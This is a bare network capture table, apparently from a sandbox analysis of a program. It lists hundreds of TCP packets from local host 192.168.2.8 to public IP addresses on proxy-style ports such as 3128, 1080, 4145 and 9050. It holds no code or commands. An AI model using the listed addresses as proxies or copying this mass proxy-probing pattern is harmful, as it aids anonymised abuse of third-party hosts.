Mar 11, 2024 18:36:46.083405018 CET	50923	80	192.168.2.8	39.108.227.108
Mar 11, 2024 18:36:46.083759069 CET	80	50614	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:46.083822966 CET	80	50614	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:46.083869934 CET	50614	80	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:46.083986998 CET	13623	49965	36.255.104.1	192.168.2.8
Mar 11, 2024 18:36:46.084408998 CET	51045	80	192.168.2.8	91.107.180.250
Mar 11, 2024 18:36:46.086348057 CET	9090	50479	212.108.145.195	192.168.2.8
Mar 11, 2024 18:36:46.086467981 CET	50569	3128	192.168.2.8	3.212.148.199
Mar 11, 2024 18:36:46.086549997 CET	9090	50479	212.108.145.195	192.168.2.8
Mar 11, 2024 18:36:46.087543011 CET	50266	3128	192.168.2.8	13.40.239.130
Mar 11, 2024 18:36:46.087814093 CET	4495	49765	67.43.228.252	192.168.2.8
Mar 11, 2024 18:36:46.087855101 CET	4711	50229	67.43.227.227	192.168.2.8
Mar 11, 2024 18:36:46.089967012 CET	8080	50920	47.88.3.19	192.168.2.8
Mar 11, 2024 18:36:46.090008974 CET	50256	8888	192.168.2.8	3.25.234.175
Mar 11, 2024 18:36:46.090105057 CET	50923	80	192.168.2.8	39.108.227.108
Mar 11, 2024 18:36:46.090224981 CET	50614	80	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:46.090631008 CET	1080	50594	27.0.234.206	192.168.2.8
Mar 11, 2024 18:36:46.091711044 CET	1080	50594	27.0.234.206	192.168.2.8
Mar 11, 2024 18:36:46.091758013 CET	51046	80	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:46.091835976 CET	50594	1080	192.168.2.8	27.0.234.206
Mar 11, 2024 18:36:46.092451096 CET	51047	12334	192.168.2.8	194.4.50.61
Mar 11, 2024 18:36:46.092479944 CET	51048	9090	192.168.2.8	212.108.145.195
Mar 11, 2024 18:36:46.093029022 CET	50594	1080	192.168.2.8	27.0.234.206
Mar 11, 2024 18:36:46.093647957 CET	51049	31673	192.168.2.8	173.212.209.49
Mar 11, 2024 18:36:46.094221115 CET	80	50309	50.231.104.58	192.168.2.8
Mar 11, 2024 18:36:46.094235897 CET	4145	51001	199.229.254.129	192.168.2.8
Mar 11, 2024 18:36:46.094877958 CET	51050	26887	192.168.2.8	72.10.160.170
Mar 11, 2024 18:36:46.095231056 CET	51051	80	192.168.2.8	85.214.107.177
Mar 11, 2024 18:36:46.095578909 CET	51052	999	192.168.2.8	37.148.217.234
Mar 11, 2024 18:36:46.095901966 CET	80	50865	89.36.114.38	192.168.2.8
Mar 11, 2024 18:36:46.095925093 CET	50219	7302	192.168.2.8	124.163.236.54
Mar 11, 2024 18:36:46.095968008 CET	50865	80	192.168.2.8	89.36.114.38
Mar 11, 2024 18:36:46.095971107 CET	51053	8080	192.168.2.8	69.75.140.157
Mar 11, 2024 18:36:46.096884966 CET	50509	52903	192.168.2.8	203.161.32.242
Mar 11, 2024 18:36:46.096885920 CET	50157	24787	192.168.2.8	162.144.121.232
Mar 11, 2024 18:36:46.096885920 CET	50155	3128	192.168.2.8	193.56.255.179
Mar 11, 2024 18:36:46.096915007 CET	50426	8888	192.168.2.8	188.166.30.17
Mar 11, 2024 18:36:46.096915007 CET	50200	29745	192.168.2.8	132.148.128.88
Mar 11, 2024 18:36:46.096915007 CET	50166	8080	192.168.2.8	103.230.49.132
Mar 11, 2024 18:36:46.096915007 CET	50532	15864	192.168.2.8	192.252.214.20
Mar 11, 2024 18:36:46.096915007 CET	50182	8888	192.168.2.8	154.64.219.2
Mar 11, 2024 18:36:46.096918106 CET	50172	3128	192.168.2.8	165.232.89.116
Mar 11, 2024 18:36:46.096918106 CET	50174	9090	192.168.2.8	189.240.60.163
Mar 11, 2024 18:36:46.096920013 CET	50572	19802	192.168.2.8	72.167.38.7
Mar 11, 2024 18:36:46.096940994 CET	50188	8080	192.168.2.8	27.130.253.68
Mar 11, 2024 18:36:46.096942902 CET	50496	16691	192.168.2.8	92.204.136.149
Mar 11, 2024 18:36:46.096942902 CET	50185	34071	192.168.2.8	162.214.227.68
Mar 11, 2024 18:36:46.096942902 CET	50191	3128	192.168.2.8	199.223.255.109
Mar 11, 2024 18:36:46.096945047 CET	50209	8080	192.168.2.8	159.192.102.249
Mar 11, 2024 18:36:46.096945047 CET	50208	51800	192.168.2.8	110.185.105.210
Mar 11, 2024 18:36:46.096947908 CET	50186	8080	192.168.2.8	183.89.9.82
Mar 11, 2024 18:36:46.097265959 CET	8880	50500	95.66.138.21	192.168.2.8
Mar 11, 2024 18:36:46.097510099 CET	8080	49937	176.213.141.107	192.168.2.8
Mar 11, 2024 18:36:46.097773075 CET	51054	7302	192.168.2.8	124.163.236.54
Mar 11, 2024 18:36:46.097860098 CET	49937	8080	192.168.2.8	176.213.141.107
Mar 11, 2024 18:36:46.098185062 CET	50865	80	192.168.2.8	89.36.114.38
Mar 11, 2024 18:36:46.098524094 CET	49937	8080	192.168.2.8	176.213.141.107
Mar 11, 2024 18:36:46.099155903 CET	51055	41146	192.168.2.8	135.148.10.161
Mar 11, 2024 18:36:46.101037979 CET	51056	1080	192.168.2.8	27.0.234.206
Mar 11, 2024 18:36:46.101037979 CET	51057	52395	192.168.2.8	164.92.237.188
Mar 11, 2024 18:36:46.101238012 CET	80	50659	188.165.213.106	192.168.2.8
Mar 11, 2024 18:36:46.103291035 CET	51058	1929	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:46.105038881 CET	51059	8888	192.168.2.8	66.45.246.194
Mar 11, 2024 18:36:46.105844021 CET	8090	49900	119.28.60.64	192.168.2.8
Mar 11, 2024 18:36:46.105879068 CET	51060	8199	192.168.2.8	36.64.22.18
Mar 11, 2024 18:36:46.105920076 CET	49900	8090	192.168.2.8	119.28.60.64
Mar 11, 2024 18:36:46.106695890 CET	5678	50060	202.165.47.49	192.168.2.8
Mar 11, 2024 18:36:46.106733084 CET	51061	80	192.168.2.8	50.168.72.113
Mar 11, 2024 18:36:46.107075930 CET	36363	50997	51.222.241.157	192.168.2.8
Mar 11, 2024 18:36:46.107244015 CET	63055	50608	51.161.131.84	192.168.2.8
Mar 11, 2024 18:36:46.108345985 CET	31679	49849	98.162.25.29	192.168.2.8
Mar 11, 2024 18:36:46.108388901 CET	31679	49849	98.162.25.29	192.168.2.8
Mar 11, 2024 18:36:46.108387947 CET	51062	63055	192.168.2.8	51.161.131.84
Mar 11, 2024 18:36:46.109813929 CET	51064	443	192.168.2.8	47.236.85.113
Mar 11, 2024 18:36:46.109813929 CET	51063	31679	192.168.2.8	98.162.25.29
Mar 11, 2024 18:36:46.109843969 CET	443	51064	47.236.85.113	192.168.2.8
Mar 11, 2024 18:36:46.109935045 CET	51064	443	192.168.2.8	47.236.85.113
Mar 11, 2024 18:36:46.110318899 CET	51064	443	192.168.2.8	47.236.85.113
Mar 11, 2024 18:36:46.110337973 CET	443	51064	47.236.85.113	192.168.2.8
Mar 11, 2024 18:36:46.110384941 CET	443	51064	47.236.85.113	192.168.2.8
Mar 11, 2024 18:36:46.112195969 CET	80	49797	50.239.72.19	192.168.2.8
Mar 11, 2024 18:36:46.112246990 CET	51065	8291	192.168.2.8	103.114.96.125
Mar 11, 2024 18:36:46.112484932 CET	49884	8000	192.168.2.8	178.128.156.219
Mar 11, 2024 18:36:46.112494946 CET	80	51018	185.162.229.70	192.168.2.8
Mar 11, 2024 18:36:46.112500906 CET	50195	44374	192.168.2.8	172.93.111.235
Mar 11, 2024 18:36:46.112504959 CET	49719	3129	192.168.2.8	20.219.180.149
Mar 11, 2024 18:36:46.112524986 CET	50214	4145	192.168.2.8	24.249.199.4
Mar 11, 2024 18:36:46.112576962 CET	51018	80	192.168.2.8	185.162.229.70
Mar 11, 2024 18:36:46.112646103 CET	50511	5123	192.168.2.8	72.10.160.92
Mar 11, 2024 18:36:46.112646103 CET	50194	8080	192.168.2.8	103.159.66.61
Mar 11, 2024 18:36:46.112652063 CET	50202	8080	192.168.2.8	102.23.234.201
Mar 11, 2024 18:36:46.112672091 CET	50207	80	192.168.2.8	185.167.59.215
Mar 11, 2024 18:36:46.112673998 CET	50210	31337	192.168.2.8	186.251.255.41
Mar 11, 2024 18:36:46.112674952 CET	50213	4145	192.168.2.8	68.1.210.163
Mar 11, 2024 18:36:46.112696886 CET	50215	80	192.168.2.8	36.229.100.73
Mar 11, 2024 18:36:46.112696886 CET	50550	14282	192.168.2.8	192.252.208.70
Mar 11, 2024 18:36:46.113076925 CET	51018	80	192.168.2.8	185.162.229.70
Mar 11, 2024 18:36:46.113204956 CET	51066	39782	192.168.2.8	192.163.202.88
Mar 11, 2024 18:36:46.114132881 CET	8080	50877	84.241.8.234	192.168.2.8
Mar 11, 2024 18:36:46.114438057 CET	1080	49763	138.36.150.16	192.168.2.8
Mar 11, 2024 18:36:46.114453077 CET	8888	50071	93.171.220.229	192.168.2.8
Mar 11, 2024 18:36:46.114684105 CET	51067	443	192.168.2.8	47.236.85.113
Mar 11, 2024 18:36:46.114701986 CET	443	51067	47.236.85.113	192.168.2.8
Mar 11, 2024 18:36:46.114837885 CET	51067	443	192.168.2.8	47.236.85.113
Mar 11, 2024 18:36:46.115144014 CET	51067	443	192.168.2.8	47.236.85.113
Mar 11, 2024 18:36:46.115159035 CET	443	51067	47.236.85.113	192.168.2.8
Mar 11, 2024 18:36:46.115190029 CET	443	51067	47.236.85.113	192.168.2.8
Mar 11, 2024 18:36:46.115231991 CET	8888	50071	93.171.220.229	192.168.2.8
Mar 11, 2024 18:36:46.115293026 CET	80	50333	54.152.3.36	192.168.2.8
Mar 11, 2024 18:36:46.116111994 CET	1080	49763	138.36.150.16	192.168.2.8
Mar 11, 2024 18:36:46.116246939 CET	80	50742	172.67.182.107	192.168.2.8
Mar 11, 2024 18:36:46.117039919 CET	80	50733	172.67.127.188	192.168.2.8
Mar 11, 2024 18:36:46.117217064 CET	7237	50969	195.248.243.149	192.168.2.8
Mar 11, 2024 18:36:46.117341042 CET	50969	7237	192.168.2.8	195.248.243.149
Mar 11, 2024 18:36:46.117394924 CET	51068	443	192.168.2.8	47.236.85.113
Mar 11, 2024 18:36:46.117429018 CET	443	51068	47.236.85.113	192.168.2.8
Mar 11, 2024 18:36:46.117784023 CET	50605	49782	51.81.89.146	192.168.2.8
Mar 11, 2024 18:36:46.117815971 CET	51069	1080	192.168.2.8	5.252.23.249
Mar 11, 2024 18:36:46.117877960 CET	51068	443	192.168.2.8	47.236.85.113
Mar 11, 2024 18:36:46.118118048 CET	3128	49877	160.16.90.35	192.168.2.8
Mar 11, 2024 18:36:46.118208885 CET	3128	49877	160.16.90.35	192.168.2.8
Mar 11, 2024 18:36:46.118259907 CET	49877	3128	192.168.2.8	160.16.90.35
Mar 11, 2024 18:36:46.118813038 CET	51070	1080	192.168.2.8	138.36.150.16
Mar 11, 2024 18:36:46.119026899 CET	50969	7237	192.168.2.8	195.248.243.149
Mar 11, 2024 18:36:46.119049072 CET	4444	50952	128.199.116.34	192.168.2.8
Mar 11, 2024 18:36:46.119148016 CET	50952	4444	192.168.2.8	128.199.116.34
Mar 11, 2024 18:36:46.119230986 CET	51068	443	192.168.2.8	47.236.85.113
Mar 11, 2024 18:36:46.119249105 CET	443	51068	47.236.85.113	192.168.2.8
Mar 11, 2024 18:36:46.119293928 CET	443	51068	47.236.85.113	192.168.2.8
Mar 11, 2024 18:36:46.119313955 CET	28971	49777	67.43.228.254	192.168.2.8
Mar 11, 2024 18:36:46.119541883 CET	4145	50710	72.195.34.41	192.168.2.8
Mar 11, 2024 18:36:46.119573116 CET	50952	4444	192.168.2.8	128.199.116.34
Mar 11, 2024 18:36:46.119581938 CET	4145	50710	72.195.34.41	192.168.2.8
Mar 11, 2024 18:36:46.120172024 CET	3128	51006	38.54.95.19	192.168.2.8
Mar 11, 2024 18:36:46.120258093 CET	51006	3128	192.168.2.8	38.54.95.19
Mar 11, 2024 18:36:46.120713949 CET	51071	443	192.168.2.8	47.236.85.113
Mar 11, 2024 18:36:46.120732069 CET	443	51071	47.236.85.113	192.168.2.8
Mar 11, 2024 18:36:46.120930910 CET	51071	443	192.168.2.8	47.236.85.113
Mar 11, 2024 18:36:46.121897936 CET	51072	4145	192.168.2.8	72.195.34.41
Mar 11, 2024 18:36:46.122143030 CET	80	50970	104.16.104.12	192.168.2.8
Mar 11, 2024 18:36:46.122190952 CET	80	50970	104.16.104.12	192.168.2.8
Mar 11, 2024 18:36:46.122200012 CET	51006	3128	192.168.2.8	38.54.95.19
Mar 11, 2024 18:36:46.122276068 CET	45639	49985	103.212.93.241	192.168.2.8
Mar 11, 2024 18:36:46.122637987 CET	50970	80	192.168.2.8	104.16.104.12
Mar 11, 2024 18:36:46.122638941 CET	51071	443	192.168.2.8	47.236.85.113
Mar 11, 2024 18:36:46.122653961 CET	443	51071	47.236.85.113	192.168.2.8
Mar 11, 2024 18:36:46.122673035 CET	443	51071	47.236.85.113	192.168.2.8
Mar 11, 2024 18:36:46.122976065 CET	80	50970	104.16.104.12	192.168.2.8
Mar 11, 2024 18:36:46.123672962 CET	4145	50725	174.75.211.222	192.168.2.8
Mar 11, 2024 18:36:46.123708963 CET	4145	50725	174.75.211.222	192.168.2.8
Mar 11, 2024 18:36:46.123761892 CET	50970	80	192.168.2.8	104.16.104.12
Mar 11, 2024 18:36:46.125003099 CET	51073	4145	192.168.2.8	174.75.211.222
Mar 11, 2024 18:36:46.126708031 CET	8888	50883	93.171.220.229	192.168.2.8
Mar 11, 2024 18:36:46.126842976 CET	50883	8888	192.168.2.8	93.171.220.229
Mar 11, 2024 18:36:46.127302885 CET	3128	50966	185.174.137.30	192.168.2.8
Mar 11, 2024 18:36:46.127336979 CET	50883	8888	192.168.2.8	93.171.220.229
Mar 11, 2024 18:36:46.127341986 CET	8080	50069	201.170.180.188	192.168.2.8
Mar 11, 2024 18:36:46.127424002 CET	50069	8080	192.168.2.8	201.170.180.188
Mar 11, 2024 18:36:46.127536058 CET	51074	8080	192.168.2.8	200.7.11.154
Mar 11, 2024 18:36:46.127649069 CET	63055	50608	51.161.131.84	192.168.2.8
Mar 11, 2024 18:36:46.128001928 CET	51075	8080	192.168.2.8	41.85.8.233
Mar 11, 2024 18:36:46.128103018 CET	50487	999	192.168.2.8	190.71.24.129
Mar 11, 2024 18:36:46.128104925 CET	50216	1088	192.168.2.8	81.199.14.49
Mar 11, 2024 18:36:46.128120899 CET	50533	24397	192.168.2.8	72.10.160.90
Mar 11, 2024 18:36:46.128130913 CET	50574	46783	192.168.2.8	162.241.158.204
Mar 11, 2024 18:36:46.128130913 CET	50277	5678	192.168.2.8	103.112.254.66
Mar 11, 2024 18:36:46.128130913 CET	50217	1080	192.168.2.8	209.14.112.8
Mar 11, 2024 18:36:46.128133059 CET	50548	34560	192.168.2.8	108.181.132.117
Mar 11, 2024 18:36:46.128135920 CET	49919	80	192.168.2.8	50.175.212.74
Mar 11, 2024 18:36:46.128135920 CET	50225	49614	192.168.2.8	206.189.145.23
Mar 11, 2024 18:36:46.128144979 CET	50556	55994	192.168.2.8	38.127.172.219
Mar 11, 2024 18:36:46.128146887 CET	50396	4145	192.168.2.8	103.58.16.57
Mar 11, 2024 18:36:46.128148079 CET	50234	41055	192.168.2.8	62.171.131.101
Mar 11, 2024 18:36:46.128148079 CET	50240	43100	192.168.2.8	142.4.7.20
Mar 11, 2024 18:36:46.128153086 CET	50221	8080	192.168.2.8	34.84.95.189
Mar 11, 2024 18:36:46.128153086 CET	50230	49865	192.168.2.8	128.199.221.91
Mar 11, 2024 18:36:46.128387928 CET	50244	80	192.168.2.8	37.120.189.106
Mar 11, 2024 18:36:46.128748894 CET	80	50218	103.151.20.131	192.168.2.8
Mar 11, 2024 18:36:46.130160093 CET	1080	50483	35.154.71.72	192.168.2.8
Mar 11, 2024 18:36:46.130194902 CET	51076	13793	192.168.2.8	103.117.109.1
Mar 11, 2024 18:36:46.130280018 CET	8880	50500	95.66.138.21	192.168.2.8
Mar 11, 2024 18:36:46.130341053 CET	8880	50500	95.66.138.21	192.168.2.8
Mar 11, 2024 18:36:46.130418062 CET	50500	8880	192.168.2.8	95.66.138.21
Mar 11, 2024 18:36:46.130558014 CET	50500	8880	192.168.2.8	95.66.138.21
Mar 11, 2024 18:36:46.132709026 CET	8080	50934	103.49.114.195	192.168.2.8
Mar 11, 2024 18:36:46.132874012 CET	50934	8080	192.168.2.8	103.49.114.195
Mar 11, 2024 18:36:46.133222103 CET	50934	8080	192.168.2.8	103.49.114.195
Mar 11, 2024 18:36:46.133327961 CET	31979	50097	51.77.65.164	192.168.2.8
Mar 11, 2024 18:36:46.135113955 CET	1080	49984	202.142.167.210	192.168.2.8
Mar 11, 2024 18:36:46.136570930 CET	51077	30421	192.168.2.8	176.103.51.24
Mar 11, 2024 18:36:46.136573076 CET	51078	10102	192.168.2.8	83.220.168.57
Mar 11, 2024 18:36:46.136903048 CET	4145	50778	74.119.147.209	192.168.2.8
Mar 11, 2024 18:36:46.137003899 CET	51079	82	192.168.2.8	202.12.80.8
Mar 11, 2024 18:36:46.137058020 CET	4145	50778	74.119.147.209	192.168.2.8
Mar 11, 2024 18:36:46.137290955 CET	1080	50483	35.154.71.72	192.168.2.8
Mar 11, 2024 18:36:46.137320995 CET	51080	46195	192.168.2.8	194.163.159.94
Mar 11, 2024 18:36:46.138267040 CET	51081	4145	192.168.2.8	74.119.147.209
Mar 11, 2024 18:36:46.138566971 CET	50483	1080	192.168.2.8	35.154.71.72
Mar 11, 2024 18:36:46.138873100 CET	51082	56974	192.168.2.8	190.220.1.173
Mar 11, 2024 18:36:46.139350891 CET	51083	3128	192.168.2.8	86.107.179.234
Mar 11, 2024 18:36:46.141269922 CET	51084	3128	192.168.2.8	51.79.249.186
Mar 11, 2024 18:36:46.141556025 CET	3128	50495	159.203.61.169	192.168.2.8
Mar 11, 2024 18:36:46.142220974 CET	4145	50748	174.64.199.82	192.168.2.8
Mar 11, 2024 18:36:46.142272949 CET	4145	50748	174.64.199.82	192.168.2.8
Mar 11, 2024 18:36:46.143007040 CET	8080	50366	5.78.89.192	192.168.2.8
Mar 11, 2024 18:36:46.143338919 CET	51085	4145	192.168.2.8	174.64.199.82
Mar 11, 2024 18:36:46.143340111 CET	51086	8080	192.168.2.8	41.180.70.2
Mar 11, 2024 18:36:46.143727064 CET	50592	51535	192.168.2.8	162.241.66.135
Mar 11, 2024 18:36:46.143727064 CET	50114	8080	192.168.2.8	156.232.9.194
Mar 11, 2024 18:36:46.143743038 CET	50231	7891	192.168.2.8	43.129.228.46
Mar 11, 2024 18:36:46.143749952 CET	50227	56252	192.168.2.8	103.59.190.209
Mar 11, 2024 18:36:46.143749952 CET	50233	80	192.168.2.8	154.65.39.7
Mar 11, 2024 18:36:46.143749952 CET	50235	8889	192.168.2.8	216.176.187.99
Mar 11, 2024 18:36:46.143760920 CET	50253	999	192.168.2.8	38.41.0.94
Mar 11, 2024 18:36:46.143764019 CET	50248	55443	192.168.2.8	197.232.65.40
Mar 11, 2024 18:36:46.143764973 CET	50605	60651	192.168.2.8	162.241.6.97
Mar 11, 2024 18:36:46.143764973 CET	50245	83	192.168.2.8	103.129.3.246
Mar 11, 2024 18:36:46.143785000 CET	50262	80	192.168.2.8	13.209.156.241
Mar 11, 2024 18:36:46.143785954 CET	50259	80	192.168.2.8	82.64.77.30
Mar 11, 2024 18:36:46.143786907 CET	50254	999	192.168.2.8	45.176.97.90
Mar 11, 2024 18:36:46.143793106 CET	50263	3128	192.168.2.8	103.35.189.217
Mar 11, 2024 18:36:46.143834114 CET	49892	80	192.168.2.8	50.168.72.112
Mar 11, 2024 18:36:46.143835068 CET	50226	10801	192.168.2.8	103.53.110.45
Mar 11, 2024 18:36:46.143846989 CET	50232	8080	192.168.2.8	101.255.62.129
Mar 11, 2024 18:36:46.143851042 CET	50406	3629	192.168.2.8	91.220.69.43
Mar 11, 2024 18:36:46.143868923 CET	50238	81	192.168.2.8	188.168.24.222
Mar 11, 2024 18:36:46.143873930 CET	50563	5529	192.168.2.8	72.10.164.178
Mar 11, 2024 18:36:46.143886089 CET	50242	42624	192.168.2.8	162.214.165.6
Mar 11, 2024 18:36:46.143887043 CET	50239	8080	192.168.2.8	202.179.188.178
Mar 11, 2024 18:36:46.143898964 CET	50260	40536	192.168.2.8	162.214.225.223
Mar 11, 2024 18:36:46.143899918 CET	50257	999	192.168.2.8	186.125.218.145
Mar 11, 2024 18:36:46.143918037 CET	50261	4145	192.168.2.8	1.2.209.194
Mar 11, 2024 18:36:46.143923044 CET	50267	5678	192.168.2.8	83.56.15.57
Mar 11, 2024 18:36:46.143990040 CET	50268	3128	192.168.2.8	45.159.150.23
Mar 11, 2024 18:36:46.145785093 CET	8083	50567	185.132.242.212	192.168.2.8
Mar 11, 2024 18:36:46.145879984 CET	50567	8083	192.168.2.8	185.132.242.212
Mar 11, 2024 18:36:46.145971060 CET	50567	8083	192.168.2.8	185.132.242.212
Mar 11, 2024 18:36:46.146517038 CET	4444	50664	193.8.87.43	192.168.2.8
Mar 11, 2024 18:36:46.146945953 CET	4444	50664	193.8.87.43	192.168.2.8
Mar 11, 2024 18:36:46.146984100 CET	51087	8083	192.168.2.8	185.132.242.212
Mar 11, 2024 18:36:46.147022963 CET	50664	4444	192.168.2.8	193.8.87.43
Mar 11, 2024 18:36:46.147308111 CET	50664	4444	192.168.2.8	193.8.87.43
Mar 11, 2024 18:36:46.148426056 CET	18080	50986	60.188.102.225	192.168.2.8
Mar 11, 2024 18:36:46.148454905 CET	51088	8080	192.168.2.8	103.165.128.171
Mar 11, 2024 18:36:46.148524046 CET	50986	18080	192.168.2.8	60.188.102.225
Mar 11, 2024 18:36:46.149044991 CET	51089	4444	192.168.2.8	193.8.87.43
Mar 11, 2024 18:36:46.149246931 CET	51090	61634	192.168.2.8	107.180.103.214
Mar 11, 2024 18:36:46.149390936 CET	50986	18080	192.168.2.8	60.188.102.225
Mar 11, 2024 18:36:46.150010109 CET	32221	49789	67.43.228.254	192.168.2.8
Mar 11, 2024 18:36:46.150046110 CET	51091	3128	192.168.2.8	91.189.177.188
Mar 11, 2024 18:36:46.150053024 CET	31033	49787	67.43.228.253	192.168.2.8
Mar 11, 2024 18:36:46.150491953 CET	8080	50919	103.125.240.237	192.168.2.8
Mar 11, 2024 18:36:46.150779009 CET	50919	8080	192.168.2.8	103.125.240.237
Mar 11, 2024 18:36:46.151216984 CET	50919	8080	192.168.2.8	103.125.240.237
Mar 11, 2024 18:36:46.153132915 CET	51092	81	192.168.2.8	37.187.24.201
Mar 11, 2024 18:36:46.156523943 CET	51094	53471	192.168.2.8	37.44.238.2
Mar 11, 2024 18:36:46.156524897 CET	51093	8080	192.168.2.8	36.91.148.36
Mar 11, 2024 18:36:46.157164097 CET	51095	46047	192.168.2.8	208.109.14.49
Mar 11, 2024 18:36:46.158999920 CET	8061	49903	103.169.254.186	192.168.2.8
Mar 11, 2024 18:36:46.159132957 CET	8083	50567	185.132.242.212	192.168.2.8
Mar 11, 2024 18:36:46.159722090 CET	8197	50301	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:46.160095930 CET	8197	50301	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:46.161464930 CET	8800	50968	43.133.136.208	192.168.2.8
Mar 11, 2024 18:36:46.162322044 CET	8197	50988	58.234.116.197	192.168.2.8
Mar 11, 2024 18:36:46.162719965 CET	6012	50642	45.11.95.165	192.168.2.8
Mar 11, 2024 18:36:46.162884951 CET	6012	50642	45.11.95.165	192.168.2.8
Mar 11, 2024 18:36:46.163702965 CET	4153	50914	202.166.219.80	192.168.2.8
Mar 11, 2024 18:36:46.164311886 CET	35158	50889	103.245.205.33	192.168.2.8
Mar 11, 2024 18:36:46.164349079 CET	50480	80	192.168.2.8	50.217.226.45
Mar 11, 2024 18:36:46.164400101 CET	50968	8800	192.168.2.8	43.133.136.208
Mar 11, 2024 18:36:46.164403915 CET	50988	8197	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:46.164403915 CET	50642	6012	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:46.164453983 CET	50914	4153	192.168.2.8	202.166.219.80
Mar 11, 2024 18:36:46.164465904 CET	50333	80	192.168.2.8	54.152.3.36
Mar 11, 2024 18:36:46.164474010 CET	50246	8888	192.168.2.8	194.150.69.56
Mar 11, 2024 18:36:46.164474010 CET	50445	4153	192.168.2.8	179.109.193.228
Mar 11, 2024 18:36:46.165148973 CET	49903	8061	192.168.2.8	103.169.254.186
Mar 11, 2024 18:36:46.165451050 CET	50988	8197	192.168.2.8	58.234.116.197
Mar 11, 2024 18:36:46.165453911 CET	50968	8800	192.168.2.8	43.133.136.208
Mar 11, 2024 18:36:46.165611982 CET	50642	6012	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:46.166249037 CET	51096	6012	192.168.2.8	45.11.95.165
Mar 11, 2024 18:36:46.166672945 CET	50914	4153	192.168.2.8	202.166.219.80
Mar 11, 2024 18:36:46.166837931 CET	4145	50201	199.102.107.145	192.168.2.8
Mar 11, 2024 18:36:46.166918039 CET	4145	50201	199.102.107.145	192.168.2.8
Mar 11, 2024 18:36:46.168565035 CET	51098	4145	192.168.2.8	199.102.107.145
Mar 11, 2024 18:36:46.168592930 CET	51097	80	192.168.2.8	154.208.10.126
Mar 11, 2024 18:36:46.170319080 CET	8800	50168	43.133.136.208	192.168.2.8
Mar 11, 2024 18:36:46.170319080 CET	51100	3128	192.168.2.8	130.162.213.175
Mar 11, 2024 18:36:46.170370102 CET	8800	50168	43.133.136.208	192.168.2.8
Mar 11, 2024 18:36:46.170593977 CET	60200	50374	162.241.137.197	192.168.2.8
Mar 11, 2024 18:36:46.170638084 CET	9080	50879	38.54.95.19	192.168.2.8
Mar 11, 2024 18:36:46.172430992 CET	51102	30747	192.168.2.8	92.204.134.38
Mar 11, 2024 18:36:46.172430038 CET	51101	4145	192.168.2.8	184.181.217.210
Mar 11, 2024 18:36:46.173325062 CET	51103	5678	192.168.2.8	190.113.90.230
Mar 11, 2024 18:36:46.173666954 CET	4145	49885	184.178.172.14	192.168.2.8
Mar 11, 2024 18:36:46.173711061 CET	4145	49885	184.178.172.14	192.168.2.8
Mar 11, 2024 18:36:46.174491882 CET	5432	50885	45.196.148.67	192.168.2.8
Mar 11, 2024 18:36:46.174575090 CET	5432	50885	45.196.148.67	192.168.2.8
Mar 11, 2024 18:36:46.174587965 CET	5432	50885	45.196.148.67	192.168.2.8
Mar 11, 2024 18:36:46.174660921 CET	50885	5432	192.168.2.8	45.196.148.67
Mar 11, 2024 18:36:46.175463915 CET	51104	4145	192.168.2.8	184.178.172.14
Mar 11, 2024 18:36:46.175463915 CET	50885	5432	192.168.2.8	45.196.148.67
Mar 11, 2024 18:36:46.175714970 CET	8000	50677	14.103.24.20	192.168.2.8
Mar 11, 2024 18:36:46.175736904 CET	8000	50677	14.103.24.20	192.168.2.8
Mar 11, 2024 18:36:46.175748110 CET	8000	50677	14.103.24.20	192.168.2.8
Mar 11, 2024 18:36:46.175821066 CET	55066	50132	167.86.115.103	192.168.2.8
Mar 11, 2024 18:36:46.175853968 CET	50677	8000	192.168.2.8	14.103.24.20
Mar 11, 2024 18:36:46.176337957 CET	50677	8000	192.168.2.8	14.103.24.20
Mar 11, 2024 18:36:46.176620960 CET	80	50458	43.231.22.229	192.168.2.8
Mar 11, 2024 18:36:46.176726103 CET	50458	80	192.168.2.8	43.231.22.229
Mar 11, 2024 18:36:46.176752090 CET	80	50458	43.231.22.229	192.168.2.8
Mar 11, 2024 18:36:46.176817894 CET	50458	80	192.168.2.8	43.231.22.229
Mar 11, 2024 18:36:46.177021980 CET	51105	80	192.168.2.8	121.128.194.154
Mar 11, 2024 18:36:46.177346945 CET	51106	999	192.168.2.8	38.56.70.97
Mar 11, 2024 18:36:46.177711964 CET	51107	80	192.168.2.8	43.231.22.229
Mar 11, 2024 18:36:46.180151939 CET	51108	8089	192.168.2.8	113.223.214.1
Mar 11, 2024 18:36:46.180157900 CET	51109	3128	192.168.2.8	45.7.24.102
Mar 11, 2024 18:36:46.180437088 CET	8118	49983	182.140.244.163	192.168.2.8
Mar 11, 2024 18:36:46.180563927 CET	49983	8118	192.168.2.8	182.140.244.163
Mar 11, 2024 18:36:46.180891037 CET	49983	8118	192.168.2.8	182.140.244.163
Mar 11, 2024 18:36:46.182312965 CET	51110	3829	192.168.2.8	103.160.41.138
Mar 11, 2024 18:36:46.182315111 CET	51111	8080	192.168.2.8	109.201.233.219
Mar 11, 2024 18:36:46.183695078 CET	80	50792	104.27.26.29	192.168.2.8
Mar 11, 2024 18:36:46.184207916 CET	51112	999	192.168.2.8	187.49.191.14
Mar 11, 2024 18:36:46.184910059 CET	45248	49896	166.62.121.127	192.168.2.8
Mar 11, 2024 18:36:46.185379028 CET	51113	3128	192.168.2.8	138.68.60.8
Mar 11, 2024 18:36:46.185702085 CET	80	50800	104.27.37.131	192.168.2.8
Mar 11, 2024 18:36:46.185734034 CET	51114	9050	192.168.2.8	211.194.214.128
Mar 11, 2024 18:36:46.186106920 CET	82	50283	117.160.250.163	192.168.2.8
Mar 11, 2024 18:36:46.186243057 CET	50283	82	192.168.2.8	117.160.250.163
Mar 11, 2024 18:36:46.186903000 CET	51115	3128	192.168.2.8	13.37.59.99
Mar 11, 2024 18:36:46.186913013 CET	50283	82	192.168.2.8	117.160.250.163
Mar 11, 2024 18:36:46.186980009 CET	50278	4145	192.168.2.8	119.42.71.103
Mar 11, 2024 18:36:46.186999083 CET	50274	3629	192.168.2.8	95.31.42.199
Mar 11, 2024 18:36:46.187000990 CET	50280	999	192.168.2.8	190.61.41.165
